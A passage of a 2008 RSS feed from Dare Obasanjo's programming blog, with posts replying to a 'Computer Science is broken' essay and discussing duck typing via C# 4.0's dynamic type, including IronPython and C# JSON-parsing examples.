&lt;/li&gt;&lt;strike&gt; &lt;/strike&gt;&gt;
&lt;strike&gt; &lt;/strike&gt;
&lt;p&gt;
&lt;strike&gt;Neither of these options is possible given the three data structures that
Windows Azure gives you. It could be that these missing pieces are intended to be
provided by &lt;a href="http://msdn.microsoft.com/en-us/sqlserver/dataservices/default.aspx"&gt;SQL
Data Services&lt;/a&gt; which I haven't taken a look at yet. If not, the lack of these pieces
of functionality will be sticking point in the craw of developers making the switch
from traditional Web development platforms. &lt;/strike&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;img style="vertical-align: middle;" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif"&gt; Now
Playing: &lt;a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;amp;unfiltered=1&amp;amp;field-keywords=&amp;amp;field-artist=Geto%20Boys&amp;amp;field-title=&amp;amp;field-label=&amp;amp;field-binding=&amp;amp;sort=relevancerank&amp;amp;Adv-Srch-Music-Album-Submit.x=19&amp;amp;Adv-Srch-Music-Album-Submit.y=6"&gt;Geto
Boys&lt;/a&gt; - &lt;a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;amp;field-keywords=Geto%20Boys+Gangsta%20%28Put%20Me%20Down%29&amp;amp;x=0&amp;amp;y=0"&gt;Gangsta
(Put Me Down)&lt;/a&gt; &lt;img style="vertical-align: middle;" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif"&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=daeec4b3-4dc6-4d8d-9af4-9c35a79b5072" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,daeec4b3-4dc6-4d8d-9af4-9c35a79b5072.aspx</comments>
      <category>Personal</category>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=2218eca5-d3a0-4000-aca7-525c2e9eb8d2</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,2218eca5-d3a0-4000-aca7-525c2e9eb8d2.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,2218eca5-d3a0-4000-aca7-525c2e9eb8d2.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=2218eca5-d3a0-4000-aca7-525c2e9eb8d2</wfw:commentRss>
      <slash:comments>7</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
In a post entitled <a href="http://bitworking.org/news/388/broke">CS Broke</a> Joe
Gregorio writes 
</p>
        <blockquote>
          <p>
            <em>Computer Science, at a deep and fundamental level, is broken, and that applies
not only to software but to hardware. One of the reasons that I have this feeling
is that after programming for the past 25 years the field hasn't really changed. The
conversations aren't any different. You could substitute 'Windows API' or 'Borland
CGI' for 'HTML and CSS' and you'd be having the same exact conversations I had 15
or 20 years ago. We still struggle with leaks, be it memory, or file handles, or threads,
or whatever. We still have race conditions. We still struggle with software that grows
linearly in features but exponentially in complexity.</em>
          </p>
        </blockquote>
        <p>
Two things came to mind as I read this 
</p>
        <ol>
          <li>
            <p>
If your definition of computer science includes HTML &amp; CSS or Win32 then <font color="#ff0000">you're
doing it wrong</font>. In the words of <a href="http://en.wikipedia.org/wiki/Edsger_W._Dijkstra">Edsger
Dijkstra</a>, computer science is no more about computers than astronomy is about
telescopes. 
</p>
          </li>
          <li>
            <p>
Even if you limit the discussion to computer programming, does it also mean that civil
engineering is broken because people today still have to discuss and solve the same
kinds problems faced by the builders of the <a href="http://en.wikipedia.org/wiki/Great_Wall_of_China">great
wall of China</a> or the <a href="http://en.wikipedia.org/wiki/Roman_aqueduct">Roman
aqueducts</a>? 
</p>
          </li>
        </ol>
        <p>
          <img style="vertical-align: middle" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif" /> Now
Playing: <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Ice Cube&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">Ice
Cube</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Ice Cube+Go to Church&amp;x=0&amp;y=0">Go
to Church</a><img style="vertical-align: middle" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif" /></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=2218eca5-d3a0-4000-aca7-525c2e9eb8d2" />
      </body>
      <title>In Response to "Is Computer Science Broken"?</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,2218eca5-d3a0-4000-aca7-525c2e9eb8d2.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2008/12/12/InResponseToIsComputerScienceBroken.aspx</link>
      <pubDate>Fri, 12 Dec 2008 17:12:14 GMT</pubDate>
      <description>&lt;p&gt;
In a post entitled &lt;a href="http://bitworking.org/news/388/broke"&gt;CS Broke&lt;/a&gt; Joe
Gregorio writes 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;em&gt;Computer Science, at a deep and fundamental level, is broken, and that applies
not only to software but to hardware. One of the reasons that I have this feeling
is that after programming for the past 25 years the field hasn't really changed. The
conversations aren't any different. You could substitute 'Windows API' or 'Borland
CGI' for 'HTML and CSS' and you'd be having the same exact conversations I had 15
or 20 years ago. We still struggle with leaks, be it memory, or file handles, or threads,
or whatever. We still have race conditions. We still struggle with software that grows
linearly in features but exponentially in complexity.&lt;/em&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
Two things came to mind as I read this 
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;
If your definition of computer science includes HTML &amp;amp; CSS or Win32 then &lt;font color="#ff0000"&gt;you're
doing it wrong&lt;/font&gt;. In the words of &lt;a href="http://en.wikipedia.org/wiki/Edsger_W._Dijkstra"&gt;Edsger
Dijkstra&lt;/a&gt;, computer science is no more about computers than astronomy is about
telescopes. 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
Even if you limit the discussion to computer programming, does it also mean that civil
engineering is broken because people today still have to discuss and solve the same
kinds problems faced by the builders of the &lt;a href="http://en.wikipedia.org/wiki/Great_Wall_of_China"&gt;great
wall of China&lt;/a&gt; or the &lt;a href="http://en.wikipedia.org/wiki/Roman_aqueduct"&gt;Roman
aqueducts&lt;/a&gt;? 
&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
&lt;img style="vertical-align: middle" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif" /&gt; Now
Playing: &lt;a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;amp;unfiltered=1&amp;amp;field-keywords=&amp;amp;field-artist=Ice Cube&amp;amp;field-title=&amp;amp;field-label=&amp;amp;field-binding=&amp;amp;sort=relevancerank&amp;amp;Adv-Srch-Music-Album-Submit.x=19&amp;amp;Adv-Srch-Music-Album-Submit.y=6"&gt;Ice
Cube&lt;/a&gt; - &lt;a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;amp;field-keywords=Ice Cube+Go to Church&amp;amp;x=0&amp;amp;y=0"&gt;Go
to Church&lt;/a&gt; &lt;img style="vertical-align: middle" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif" /&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=2218eca5-d3a0-4000-aca7-525c2e9eb8d2" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,2218eca5-d3a0-4000-aca7-525c2e9eb8d2.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=e082bfc3-17ef-4e8c-9f89-97d01ce9f072</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,e082bfc3-17ef-4e8c-9f89-97d01ce9f072.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,e082bfc3-17ef-4e8c-9f89-97d01ce9f072.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=e082bfc3-17ef-4e8c-9f89-97d01ce9f072</wfw:commentRss>
      <slash:comments>6</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
At the recent Microsoft Professional Developer's Conference there was a presentation
by Anders Hejlsberg about <a href="http://channel9.msdn.com/pdc2008/TL16/">The Future
of C#</a> which unveiled some of the upcoming features of C# 4.0. Of all the features
announced, the one I found most interesting was the introduction of duck typing via
a new static type called <code>dynamic</code>.
</p>
        <p>
For those who aren't familiar with Duck Typing, here is the <a href="http://en.wikipedia.org/wiki/Duck_typing">definition
from Wikipedia</a></p>
        <blockquote>
          <p>
In <a href="http://en.wikipedia.org/wiki/Computer_programming">computer programming</a>, <b>duck
typing</b> is a style of <a href="http://en.wikipedia.org/wiki/Dynamic_typing">dynamic
typing</a> in which an object's <i>current set of <a href="http://en.wikipedia.org/wiki/Method_%28computer_science%29">methods</a> and
properties</i> determines the valid semantics, rather than its inheritance from a
particular class. The name of the concept refers to the <a href="http://en.wikipedia.org/wiki/Duck_test">duck
test</a>, attributed to <a href="http://en.wikipedia.org/wiki/James_Whitcomb_Riley">James
Whitcomb Riley</a> (see <a href="http://en.wikipedia.org/wiki/Duck_Typing#History">History</a> below),
which may be phrased as follows:
</p>
          <dl>
            <dd>
              <i>If it walks like a duck and quacks like a duck, I would call it a duck.</i>
            </dd>
          </dl>
          <p>
In duck typing one is concerned with just those aspects of an object that are used,
rather than with the type of the object itself. For example, in a non-duck-typed language,
one can create a function that takes an object of type Duck and calls that object's
walk and quack methods. In a duck-typed language, the equivalent function would take
an object of any type and call that object's walk and quack methods. If the object
does not have the methods that are called then the function signals a run-time error. 
</p>
        </blockquote>
        <p>
This is perfectly illustrated with the following IronPython program
</p>
        <blockquote>
          <pre>
            <font face="Lucida,Courier New">
              <font color="#c00000">def</font>
              <font color="#000000">PrintAt</font>
              <font color="#0000c0">(</font>
              <font color="#000000">container</font>
              <font color="#0000c0">,</font>
              <font color="#000000">index</font>
              <font color="#0000c0">)</font>
              <font color="#0000c0">:</font>
              <font color="#c00000">print</font>
              <font color="#004080">"The
value at [%s] is %s"</font>
              <font color="#0000c0">%</font>
              <font color="#0000c0">(</font>
              <font color="#000000">index</font>
              <font color="#0000c0">,</font>
              <font color="#000000">container</font>
              <font color="#0000c0">[</font>
              <font color="#000000">index</font>
              <font color="#0000c0">]</font>
              <font color="#0000c0">)</font>
              <font color="#c00000">if</font>
              <font color="#000000">__name__</font>
              <font color="#0000c0">==</font>
              <font color="#004080">"__main__"</font>
              <font color="#0000c0">:</font>
              <font color="#008000">#create
dictionary </font>
              <font color="#000000">table</font>
              <font color="#0000c0">=</font>
              <font color="#0000c0">{</font>
              <font color="#0080c0">1</font>
              <font color="#0000c0">:</font>
              <font color="#004080">"one"</font>
              <font color="#0000c0">,</font>
              <font color="#0080c0">2</font>
              <font color="#0000c0">:</font>
              <font color="#004080">"two"</font>
              <font color="#0000c0">,</font>
              <font color="#0080c0">3</font>
              <font color="#0000c0">:</font>
              <font color="#004080">"three"</font>
              <font color="#0000c0">}</font>
              <font color="#008000">#create
sequence </font>
              <font color="#000000">list</font>
              <font color="#0000c0">=</font>
              <font color="#0000c0">(</font>
              <font color="#004080">"apple"</font>
              <font color="#0000c0">,</font>
              <font color="#004080">"banana"</font>
              <font color="#0000c0">,</font>
              <font color="#004080">"cantalope"</font>
              <font color="#0000c0">)</font>
              <font color="#000000">PrintAt</font>
              <font color="#0000c0">(</font>
              <font color="#000000">table</font>
              <font color="#0000c0">,</font>
              <font color="#0080c0">1</font>
              <font color="#0000c0">)</font>
              <font color="#000000">PrintAt</font>
              <font color="#0000c0">(</font>
              <font color="#000000">list</font>
              <font color="#0000c0">,</font>
              <font color="#0080c0">1</font>
              <font color="#0000c0">)</font>
              <font color="#000000">
              </font>
            </font>
          </pre>
        </blockquote>
        <p>
In the above program the <code>PrintAt()</code> simply requires that the container
object passed in supports the index operator '[]' and can accept whatever type is
passed in as the index. This means I can pass both a sequence (i.e. a list) or a dictionary
(i.e. a hash table) to the function and it returns results even though the semantics
of using the index operator is very different for lists and dictionaries. 
</p>
        <p>
Proponents of static typing have long argued that features like duck typing lead to
hard-to-find bugs which are only detected at runtime after the application has failed
instead of during development via compiler errors. However there are many situations
even in statically typed programming where the flexibility of duck typing would be
beneficial. A common example is invoking JSON or SOAP web services and mapping these
structures to objects.  
</p>
        <p>
Recently, I had to write some code at work which spoke to a JSON-based Web service
and struggled with how to deal with the fact that C# requires me to define the class
of an object up front before I can use it in my application. Given the flexible and
schema-less nature of JSON, this was a problem. I ended up using the <a href="http://msdn.microsoft.com/en-us/library/system.runtime.serialization.json.jsonreaderwriterfactory.aspx">JsonReaderWriterFactory</a> to
create an <a href="http://msdn.microsoft.com/en-us/library/system.xml.xmldictionaryreader.aspx">XmlDictionaryReader</a> which
maps JSON into an XML document which can then be processed flexibly using XML technologies.
Here's what the code looked like 
</p>
        <blockquote>
          <pre class="code">
            <span style="color: blue">using </span>System; <span style="color: blue">using </span>System.IO; <span style="color: blue">using </span>System.Runtime.Serialization.Json; <span style="color: blue">using </span>System.Text; <span style="color: blue">using </span>System.Xml; <span style="color: blue">namespace </span>Test
{ <span style="color: blue">class </span><span style="color: #2b91af">Program </span>{ <span style="color: blue">static
void </span>Main(<span style="color: blue">string</span>[] args) { <span style="color: blue">string </span>json
= <span style="color: #a31515">@"{ ""firstName"": ""John"",
""lastName"": ""Smith"", ""age"":
21 }"</span>; <span style="color: blue">var </span>stream = <span style="color: blue">new </span><span style="color: #2b91af">MemoryStream</span>(<span style="color: #2b91af">ASCIIEncoding</span>.Default.GetBytes(json)); <span style="color: blue">var </span>reader
= <span style="color: #2b91af">JsonReaderWriterFactory</span>.CreateJsonReader(stream, <span style="color: #2b91af">XmlDictionaryReaderQuotas</span>.Max); <span style="color: blue">var </span>doc
= <span style="color: blue">new </span><span style="color: #2b91af">XmlDocument</span>();
doc.Load(reader); <span style="color: green">//error handling omitted for brevity </span><span style="color: blue">string </span>firstName
= doc.SelectSingleNode(<span style="color: #a31515">"/root/firstName"</span>).InnerText; <span style="color: blue">int </span>age
= <span style="color: #2b91af">Int32</span>.Parse(doc.SelectSingleNode(<span style="color: #a31515">"/root/age"</span>).InnerText); <span style="color: #2b91af">Console</span>.WriteLine(<span style="color: #a31515">"{0}
will be {1} next year"</span>, firstName, age + 1); <span style="color: #2b91af">Console</span>.ReadLine();
} } }</pre>
          <blockquote>
          </blockquote>
        </blockquote>
        <p>
It works but the code is definitely not as straightforward as interacting with JSON
from Javascript. This is where the <code>dynamic</code> type from C# 4.0 would be
very useful. With this type, I could rewrite the above code as follows 
</p>
        <blockquote>
          <blockquote>
            <pre class="code">
              <span style="color: blue">using </span>System; <span style="color: blue">using </span>System.IO; <span style="color: blue">using </span>System.Runtime.Serialization.Json; <span style="color: blue">using </span>System.Text; <span style="color: blue">using </span>System.Xml; <span style="color: blue">namespace </span>Test
{ <span style="color: blue">class </span><span style="color: #2b91af">Program </span>{ <span style="color: blue">static
void </span>Main(<span style="color: blue">string</span>[] args) { <span style="color: blue">string </span>json
= <span style="color: #a31515">@"{ ""firstName"": ""John"",
""lastName"": ""Smith"", ""age"":
21 }"</span>; <span style="color: blue">var </span>stream = <span style="color: blue">new </span><span style="color: #2b91af">MemoryStream</span>(<span style="color: #2b91af">ASCIIEncoding</span>.Default.GetBytes(json)); <span style="color: blue">dynamic </span>person
= <span style="color: #2b91af">JsonObjectReaderFactory</span>.CreateJsonObjectReader(stream, <span style="color: #2b91af">XmlDictionaryReaderQuotas</span>.Max); <span style="color: #2b91af">Console</span>.WriteLine(<span style="color: #a31515">"{0}
will be {1} next year"</span>, person.firstName, person.age + 1); <span style="color: #2b91af">Console</span>.ReadLine();
} } }</pre>
          </blockquote>
        </blockquote>
        <p>
In the C# 4.0 version I can declare a person object whose class/type I don't have
to define at compile time. Instead the property accesses are converted to dynamic
calls to the named properties using reflection by the compiler. So at runtime when
my [imaginary] JsonObjectReader dynamically creates the person objects from the input
JSON, my application works as expected with a lot less lines of code. 
</p>
        <p>
It's amazing how Python-like C# gets each passing year. 
</p>
        <p>
FURTHER READING: 
</p>
        <ul>
          <li>
            <a href="http://www.25hoursaday.com/weblog/2008/01/02/DoesC30BeatDynamicLanguagesAtTheirOwnGame.aspx">Does
C# 3.0 Beat Dynamic Languages at their Own Game?</a>
          </li>
          <li>
            <a href="http://www.25hoursaday.com/weblog/2008/06/16/FunctionalProgrammingInC30HowMapReduceFilterCanRockYourWorld.aspx">Functional
Programming in C# 3.0: How Map/Reduce/Filter can Rock your World</a>
          </li>
        </ul>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=e082bfc3-17ef-4e8c-9f89-97d01ce9f072" />
      </body>
      <title>C# is the Next Python: Duck Typing and C# 4.0</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,e082bfc3-17ef-4e8c-9f89-97d01ce9f072.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2008/11/08/CIsTheNextPythonDuckTypingAndC40.aspx</link>
      <pubDate>Sat, 08 Nov 2008 15:53:58 GMT</pubDate>
      <description>&lt;p&gt;
At the recent Microsoft Professional Developer's Conference there was a presentation
by Anders Hejlsberg about &lt;a href="http://channel9.msdn.com/pdc2008/TL16/"&gt;The Future
of C#&lt;/a&gt; which unveiled some of the upcoming features of C# 4.0. Of all the features
announced, the one I found most interesting was the introduction of duck typing via
a new static type called &lt;code&gt;dynamic&lt;/code&gt;.
&lt;/p&gt;
&lt;p&gt;
For those who aren't familiar with Duck Typing, here is the &lt;a href="http://en.wikipedia.org/wiki/Duck_typing"&gt;definition
from Wikipedia&lt;/a&gt;
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
In &lt;a href="http://en.wikipedia.org/wiki/Computer_programming"&gt;computer programming&lt;/a&gt;, &lt;b&gt;duck
typing&lt;/b&gt; is a style of &lt;a href="http://en.wikipedia.org/wiki/Dynamic_typing"&gt;dynamic
typing&lt;/a&gt; in which an object's &lt;i&gt;current set of &lt;a href="http://en.wikipedia.org/wiki/Method_%28computer_science%29"&gt;methods&lt;/a&gt; and
properties&lt;/i&gt; determines the valid semantics, rather than its inheritance from a
particular class. The name of the concept refers to the &lt;a href="http://en.wikipedia.org/wiki/Duck_test"&gt;duck
test&lt;/a&gt;, attributed to &lt;a href="http://en.wikipedia.org/wiki/James_Whitcomb_Riley"&gt;James
Whitcomb Riley&lt;/a&gt; (see &lt;a href="http://en.wikipedia.org/wiki/Duck_Typing#History"&gt;History&lt;/a&gt; below),
which may be phrased as follows:
&lt;/p&gt;
&lt;dl&gt;
&lt;dd&gt;&lt;i&gt;If it walks like a duck and quacks like a duck, I would call it a duck.&lt;/i&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;
In duck typing one is concerned with just those aspects of an object that are used,
rather than with the type of the object itself. For example, in a non-duck-typed language,
one can create a function that takes an object of type Duck and calls that object's
walk and quack methods. In a duck-typed language, the equivalent function would take
an object of any type and call that object's walk and quack methods. If the object
does not have the methods that are called then the function signals a run-time error. 
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
This is perfectly illustrated with the following IronPython program
&lt;/p&gt;
&lt;blockquote&gt; &lt;pre&gt;&lt;font face="Lucida,Courier New"&gt;&lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;PrintAt&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;container&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;index&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;The
value at [%s] is %s&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;index&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;container&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;index&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;__name__&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;__main__&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#008000"&gt;#create
dictionary &lt;/font&gt; &lt;font color="#000000"&gt;table&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0000c0"&gt;{&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt; &lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;one&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#0080c0"&gt;2&lt;/font&gt; &lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;two&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;3&lt;/font&gt; &lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;three&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;}&lt;/font&gt; &lt;font color="#008000"&gt;#create
sequence &lt;/font&gt; &lt;font color="#000000"&gt;list&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;apple&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;banana&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;cantalope&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;PrintAt&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;table&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;PrintAt&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;list&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#000000"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
In the above program the &lt;code&gt;PrintAt()&lt;/code&gt; simply requires that the container
object passed in supports the index operator '[]' and can accept whatever type is
passed in as the index. This means I can pass both a sequence (i.e. a list) or a dictionary
(i.e. a hash table) to the function and it returns results even though the semantics
of using the index operator is very different for lists and dictionaries. 
&lt;/p&gt;
&lt;p&gt;
Proponents of static typing have long argued that features like duck typing lead to
hard-to-find bugs which are only detected at runtime after the application has failed
instead of during development via compiler errors. However there are many situations
even in statically typed programming where the flexibility of duck typing would be
beneficial. A common example is invoking JSON or SOAP web services and mapping these
structures to objects.&amp;#160; 
&lt;/p&gt;
&lt;p&gt;
Recently, I had to write some code at work which spoke to a JSON-based Web service
and struggled with how to deal with the fact that C# requires me to define the class
of an object up front before I can use it in my application. Given the flexible and
schema-less nature of JSON, this was a problem. I ended up using the &lt;a href="http://msdn.microsoft.com/en-us/library/system.runtime.serialization.json.jsonreaderwriterfactory.aspx"&gt;JsonReaderWriterFactory&lt;/a&gt; to
create an &lt;a href="http://msdn.microsoft.com/en-us/library/system.xml.xmldictionaryreader.aspx"&gt;XmlDictionaryReader&lt;/a&gt; which
maps JSON into an XML document which can then be processed flexibly using XML technologies.
Here's what the code looked like 
&lt;/p&gt;
&lt;blockquote&gt; &lt;pre class="code"&gt;&lt;span style="color: blue"&gt;using &lt;/span&gt;System; &lt;span style="color: blue"&gt;using &lt;/span&gt;System.IO; &lt;span style="color: blue"&gt;using &lt;/span&gt;System.Runtime.Serialization.Json; &lt;span style="color: blue"&gt;using &lt;/span&gt;System.Text; &lt;span style="color: blue"&gt;using &lt;/span&gt;System.Xml; &lt;span style="color: blue"&gt;namespace &lt;/span&gt;Test
{ &lt;span style="color: blue"&gt;class &lt;/span&gt;&lt;span style="color: #2b91af"&gt;Program &lt;/span&gt;{ &lt;span style="color: blue"&gt;static
void &lt;/span&gt;Main(&lt;span style="color: blue"&gt;string&lt;/span&gt;[] args) { &lt;span style="color: blue"&gt;string &lt;/span&gt;json
= &lt;span style="color: #a31515"&gt;@&amp;quot;{ &amp;quot;&amp;quot;firstName&amp;quot;&amp;quot;: &amp;quot;&amp;quot;John&amp;quot;&amp;quot;,
&amp;quot;&amp;quot;lastName&amp;quot;&amp;quot;: &amp;quot;&amp;quot;Smith&amp;quot;&amp;quot;, &amp;quot;&amp;quot;age&amp;quot;&amp;quot;:
21 }&amp;quot;&lt;/span&gt;; &lt;span style="color: blue"&gt;var &lt;/span&gt;stream = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;MemoryStream&lt;/span&gt;(&lt;span style="color: #2b91af"&gt;ASCIIEncoding&lt;/span&gt;.Default.GetBytes(json)); &lt;span style="color: blue"&gt;var &lt;/span&gt;reader
= &lt;span style="color: #2b91af"&gt;JsonReaderWriterFactory&lt;/span&gt;.CreateJsonReader(stream, &lt;span style="color: #2b91af"&gt;XmlDictionaryReaderQuotas&lt;/span&gt;.Max); &lt;span style="color: blue"&gt;var &lt;/span&gt;doc
= &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;XmlDocument&lt;/span&gt;();
doc.Load(reader); &lt;span style="color: green"&gt;//error handling omitted for brevity &lt;/span&gt;&lt;span style="color: blue"&gt;string &lt;/span&gt;firstName
= doc.SelectSingleNode(&lt;span style="color: #a31515"&gt;&amp;quot;/root/firstName&amp;quot;&lt;/span&gt;).InnerText; &lt;span style="color: blue"&gt;int &lt;/span&gt;age
= &lt;span style="color: #2b91af"&gt;Int32&lt;/span&gt;.Parse(doc.SelectSingleNode(&lt;span style="color: #a31515"&gt;&amp;quot;/root/age&amp;quot;&lt;/span&gt;).InnerText); &lt;span style="color: #2b91af"&gt;Console&lt;/span&gt;.WriteLine(&lt;span style="color: #a31515"&gt;&amp;quot;{0}
will be {1} next year&amp;quot;&lt;/span&gt;, firstName, age + 1); &lt;span style="color: #2b91af"&gt;Console&lt;/span&gt;.ReadLine();
} } }&lt;/pre&gt;
&lt;blockquote&gt;&lt;/blockquote&gt; &lt;/blockquote&gt; 
&lt;p&gt;
It works but the code is definitely not as straightforward as interacting with JSON
from Javascript. This is where the &lt;code&gt;dynamic&lt;/code&gt; type from C# 4.0 would be
very useful. With this type, I could rewrite the above code as follows 
&lt;/p&gt;
&lt;blockquote&gt; &lt;blockquote&gt; &lt;pre class="code"&gt;&lt;span style="color: blue"&gt;using &lt;/span&gt;System; &lt;span style="color: blue"&gt;using &lt;/span&gt;System.IO; &lt;span style="color: blue"&gt;using &lt;/span&gt;System.Runtime.Serialization.Json; &lt;span style="color: blue"&gt;using &lt;/span&gt;System.Text; &lt;span style="color: blue"&gt;using &lt;/span&gt;System.Xml; &lt;span style="color: blue"&gt;namespace &lt;/span&gt;Test
{ &lt;span style="color: blue"&gt;class &lt;/span&gt;&lt;span style="color: #2b91af"&gt;Program &lt;/span&gt;{ &lt;span style="color: blue"&gt;static
void &lt;/span&gt;Main(&lt;span style="color: blue"&gt;string&lt;/span&gt;[] args) { &lt;span style="color: blue"&gt;string &lt;/span&gt;json
= &lt;span style="color: #a31515"&gt;@&amp;quot;{ &amp;quot;&amp;quot;firstName&amp;quot;&amp;quot;: &amp;quot;&amp;quot;John&amp;quot;&amp;quot;,
&amp;quot;&amp;quot;lastName&amp;quot;&amp;quot;: &amp;quot;&amp;quot;Smith&amp;quot;&amp;quot;, &amp;quot;&amp;quot;age&amp;quot;&amp;quot;:
